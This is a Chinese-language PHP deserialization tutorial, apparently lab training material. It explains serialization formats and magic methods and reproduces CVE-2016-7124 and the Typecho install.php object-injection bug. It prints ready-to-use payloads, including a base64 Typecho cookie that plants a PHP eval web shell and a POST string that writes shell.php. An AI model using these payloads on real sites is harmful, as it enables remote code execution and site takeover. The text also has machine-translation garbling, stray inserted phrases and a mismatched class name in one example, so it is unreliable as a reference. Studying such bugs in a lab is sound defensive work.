基本概念
序列化(serialization):将变量转换为可以保存或传输的字符串的过程; 反序列化(deserialization):将字符串转换为原始变量以供使用。
PHP的序列化函数是serialize(),反序列化函数是unserialize()。
为什么需要序列化 序列化是为了对象能够跨平台存储并通过网络传输。 跨平台存储和网络传输的形式是IO,IO支持的数据格式是字节字段。 也就是说,对象的状态以跨平台识别的字节格式保存,然后其他平台可以通过字节信息解析和恢复对象信息。
举个栗子:
<?php
//定义一个类,类名是chybeta
class chybeta{
//定义一个变量
var $test = 123;
}
//new一个对象,实例化
$class1 = new chybeta;
//序列化创建的对象
$class1_ser = serialize($class1);
print_r($class1_ser);
?>
上面的代码通过序列化函数将对象class1转换为可传输的字符串。 输出结果为O:7:"chybeta":1:{s:4:"test";i:123;},其中O代表对象,7代表对象名称chybeta的宽度,chybeta为对象名称,1代表1。{ }中的参数包括key和value,s表示字符串对象,4表示厚度,test是key,i表示整数对象,123表示value。
序列化中的各种数据表达式在PHP中针对不同类型的数据用不同的字母来标记: a - array(数组类型) b - boolean(布尔类型) d - double(双精度类型) i - integer(整数类型) o - common object(普通对象) r——reference(引用) s——string(字符类型) C——custom object(自定义对象) O——class(类) N——null(空) R——指针引用(pointer、quote) U——unicode字符串(编码字符串)
类的访问权限有private、protected、public,两者的序列化表示方法不同。 例子:
<?php
class demo
{
public $test = 'hacker';
private $test2 = 'pentester';
protected $test3 = 'redhat';
}
$object = new test();
$uns = serialize($object);
echo $uns;
?>
输出结果:O:4:"demo":3:{s:4:"test";s:6:"hacker";s:11:"demotest2";s:9:"pentester";s:8: "test3";s:6:"redhat";} 显然,demotest2和test3分别是9和6,为什么输出结果是11和8呢? 通过谈论该文件并使用 HEXDUMP 查看它:
public属性序列化结果正常; private属性的前后都有类名的序列,即类名属性名; protected 属性的序列化结果是 * 属性名称;
需要注意的是,反序列化过程中,必须保证当前作用域下的类存在,否则将难以完成反序列化操作
反序列化漏洞
PHP反序列化漏洞也称为PHP对象注入。 该漏洞的根本原因是程序没有对用户输入的反序列化字符串进行测量,导致反序列化过程被恶意控制,进而导致代码执行、getshell等一系列不可控后果。 反序列化漏洞并非PHP独有,Java、Python等语言也存在,但原理基本相同。
php 类可能包含一些称为魔术函数的特殊函数。 魔术函数的名称以符号 __ 开头,如 __construct、__destruct、__toString、__sleep、__wakeup 等。这些函数在个别情况下是手动调用的,导致反序列化漏洞
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__construct() //对象被创建时触发
举个栗子:
<?php
//定义类
class Test
{
//定义两个变量
public $variable = 'BUZZ';
public $variable2 = 'OTHER';
//定义方法
public function PrintVariable()
{
echo $this->variable . '
';
}
public function __construct()
{
echo '__construct
';
}
public function __destruct()
{
echo '__destruct
';
}
public function __wakeup()
{
echo '__wakeup
';
}
public function __sleep()
{
echo '__sleep
';
return array('variable', 'variable2');
}
}
// 创建对象调用__construct
$obj = new Test();
// 序列化对象调用__sleep
$serialized = serialize($obj);
// 输出序列化后的字符串
print 'Serialized: ' . $serialized . '
';
// 重建对象调用__wakeup
$obj2 = unserialize($serialized);
// 调用PintVariable输出数据
$obj2->PrintVariable();
// 脚本结束调用__destruct
?>
输出结果:
修复与防御
与大多数漏洞一样,反序列化的问题也是由用户参数的控制引起的,因此一个好的预防措施是不要将用户输入或用户可控的参数直接放入反序列化操作中。
漏洞复现一、CVE-2016-7124(__wakeup()绕过)漏洞原理
触发条件:PHP5版本大于5.6.25,PHP7版本大于7.0.10。 漏洞利用:当序列化字符串中代表对象数量的值小于真实属性数量时,将跳过__wakeup()的执行。
复发过程
使用以下代码模拟CVE-2016-7124漏洞环境
<?php
class A{
public $a = "test"; //定义public类属性$a
public $b="hello"; //定义public类属性$b
function __destruct(){ //当对象被销毁时触发以下函数
$fp = @fopen("C:/phpStudy/PHPTutorial/WWW/".$this->b.".php","w"); //打开文件并赋予写权限,若无文件,则新建。C:/phpStudy/PHPTutorial/WWW/为文件保存位置
echo "C:/phpStudy/PHPTutorial/WWW/".$this->b.".php";
@fputs($fp,$this->a); //写入变量$a的值
@fclose($fp); //关闭打开的文件
}
function __wakeup() //执行unserialize()时,先会调用这个函数,导致
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null; //通过遍历将输入的值赋值为空
}
echo "Waking up...n"."
";
}
}
$test = @$_POST['po']; //接收参数
$test_unser = @unserialize($test); //将输入的字符变为反序列化为对象。
?>
使用payload构造一串字符串,目的是将形参赋予$a,将shell形参赋予B,从而在目录文件中产生shell.php木马文件。 (1)输入po=O:1:"A":2:{s:1:"a";s:18:"";s:1:"b";s:5:"shell"}查找函数 __wakeup() 函数首先被执行,这给我们写 shell 带来了困难。
(2) 当序列化字符串中表示对象数量的值小于实际属性数量时,通过跳过 __wakeup() 的执行,我们重构负载并将对象数量从 2 更改为 3。 po=O :1:"A":3:{s:1:"a";s:18:"";s:1:"b";s:5:"壳"}
发现直接绕过__wakeup()函数,成功写入shell.php文件访问shell.php。
对再生产中遇到的问题的反思
环境搭建复现时发现输入payload时没有显示,而且无论怎么改payload都没有效果
通过传入参数的输出,发现前面添加了“/”
根据以前的经验,PHP有一个magic_quotes_gpch函数。 PHP中magic_quotes_gpc函数的作用是对用户提示的数据进行区分和分析。 例如,来自post、get、cookie的数据减少了转义字符“”,以确保数据不会因为特殊字符造成的污染而导致程序尤其是数据库语句的致命错误。 因为magic_quotes_gp状态开启,所以输入符号都加了/,导致传入的payload无法重现。 反思:正因为用户输入不可控,所以应该严格控制用户输入。 只有对用户输入的数据进行严格控制的校准才能防止漏洞的形成。
2、Typecho PHP反序列化漏洞重现
typecho简介:Typecho是一个基于PHP的博客程序(需要PHP5以上),可以运行在各种平台上,支持多种数据库(Mysql、PostgreSQL、SQLite)。源码下载地址:漏洞环境:Typecho 0.9~1.0版本php版本必须在5.4以上
漏洞复现流程
打开bp,access抓取网页并发送给中继器
构造有效负载如下:
Cookie:__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://127.0.0.1/typecho/install.php
如下替换cookie值,并发送
对应的包显示500,说明poc执行成功。 访问并发送post数据 p0=phpinfo(); 显示phpinfo信息。
漏洞原理分析
typecho反序列化漏洞的入口在install.php中。 进入install.php时,首先经过两个判断
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
从代码中可以看出,参数finish必须通过get传入,referer必须是内部url。因此,抓包时,我们访问该地址审计代码,搜索unserialize,发现如下代码存在反序列化漏洞
上面的代码首先获取cookie中的__typecho_config值base64,对其进行解码,然后反序列化。 反序列化后,将config['adapter']和config['prefix']传入Typecho_Db进行实例化。 然后调用Typecho_Db的addServer方法,并调用Typecho_Config实例化工厂函数实例化Typecho_Config类。
通过查找代码中的神奇函数。发现/var/Typecho/Feed.php文件的第223行使用了toString方法
跟随这个函数,可以发现调用了$item['author']->screenName,它是当前类的私有变量数组去重 php,可以用来引用。
__get 方法可以在 /var/Typecho/Request.php 的第 269 行找到(__get 将在读取不可访问属性的值时被调用)。
在 _get() 方法之后,调用 applyFilter 函数
Request.php中的applyFilter函数找到call_user_func(代码执行)
所以我们可以通过设置item['author']来控制Typecho_Request类中的私有变量数组去重 php,从而实现类中的_filter和_params['screenName']可控,call_user_func函数变量可控,任意代码执行。
参考文档:#0x03(强烈推荐) https://blog.csdn.net/cldimd/article/details/104999404 https://www.cnblogs.com/zy-king-karl/p/11436872.html https://zhuanlan .zhihu.com/p/33426188
— 实验室直播培训课程 —
快来MS08067和10000+好友一起学习吧!